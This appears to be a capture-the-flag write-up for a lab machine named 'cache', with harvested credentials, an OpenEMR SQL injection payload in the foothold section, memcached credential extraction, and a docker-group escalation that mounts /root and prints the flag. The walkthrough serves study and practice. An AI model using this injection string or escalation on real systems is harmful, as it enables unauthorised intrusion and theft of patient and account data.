

cache : ``

Table Of Contents:

- [cache : ``](#)
 - [CREDENTIALS](#)
 - [Enumeration](#)
 - [Opened Ports](#)
 - [FootHold](#)
 - [Lateral Movement](#)
 - [Privilege Escalation](#)
 - [TMUX COPY-PASTE](#)




CREDENTIALS

Service	Username	Password
functionality.js	ash	H@v3_fun
Database	openemr_admin	xxxxxx
mysql.conf	openemr	3open6emr9
memcached	luffy	0n3_p1ec3


Synopsis

Enumeration

Opened Ports

-  22 (SSH)  (luffy:0n3_p1ec3)
-  80 (HTTP)

FootHold

- Javascript `functionality.js` is checking for valid username and passwords. `ash:H@v3_fun`
- `/interface/forms/eye_mag/taskman.php?`
`action=make_task&from_id=1&to_id=1&pid=1&doc_type=1&doc_id=1&enc=1'+and+updatexml(1,concat(0x7e,+(select+username+from+users_secure+LIMIT+2,1)),0)+or+' - Vulnerable to sql injection`
- `openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.` 
``openemr_admin:xxxxxx'`
- Use a python script from searchsploit to gain rce and we got www-data.

Lateral Movement

- We got hold of www-data. Remember we extracted a password from functionality.js file for user ash.

```
ash:H@v3_fun
```

- Memcached is installed on the server.

```
memcache 1038 0.0 0.1 425792 4148 ? Ssl 14:37 0:04
/usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P
/var/run/memcached/memcached.pid
```

- Extract credential from memcached server.

```
luffy:0n3_p1ec3
```

Privilege Escalation

- User **luffy** is in the docker group. Interesting though!!! 😞

```
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
```

- There is a image **ubuntu** already in the system. Run the image and mount the /root into /mnt folder.
- Giving access to the docker group is the same as to give constant root access without any password to any other user. In this case, the user is luffy.

```
luffy@cache:~$ docker run -v /root:/mnt -it ubuntu
root@2c17f1632932:/# ls
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv
sys tmp usr var
root@2c17f1632932:/# ls /mnt
root.txt
root@2c17f1632932:/# cat /mnt/root.txt
607301060dd49ad9652ed7baea45430d
```

TMUX COPY-PASTE

1. PREFIX + **CTRL** + **[** TO GO INTO SELECTION MODE.
 2. **CTRL** + **SPACE** TO GO INTO COPY MODE.
 3. **ALT** + **W** to copy into tmux buffer.
 4. PREFIX + **y** to copy the latest tmux buffer to system clipboard.
-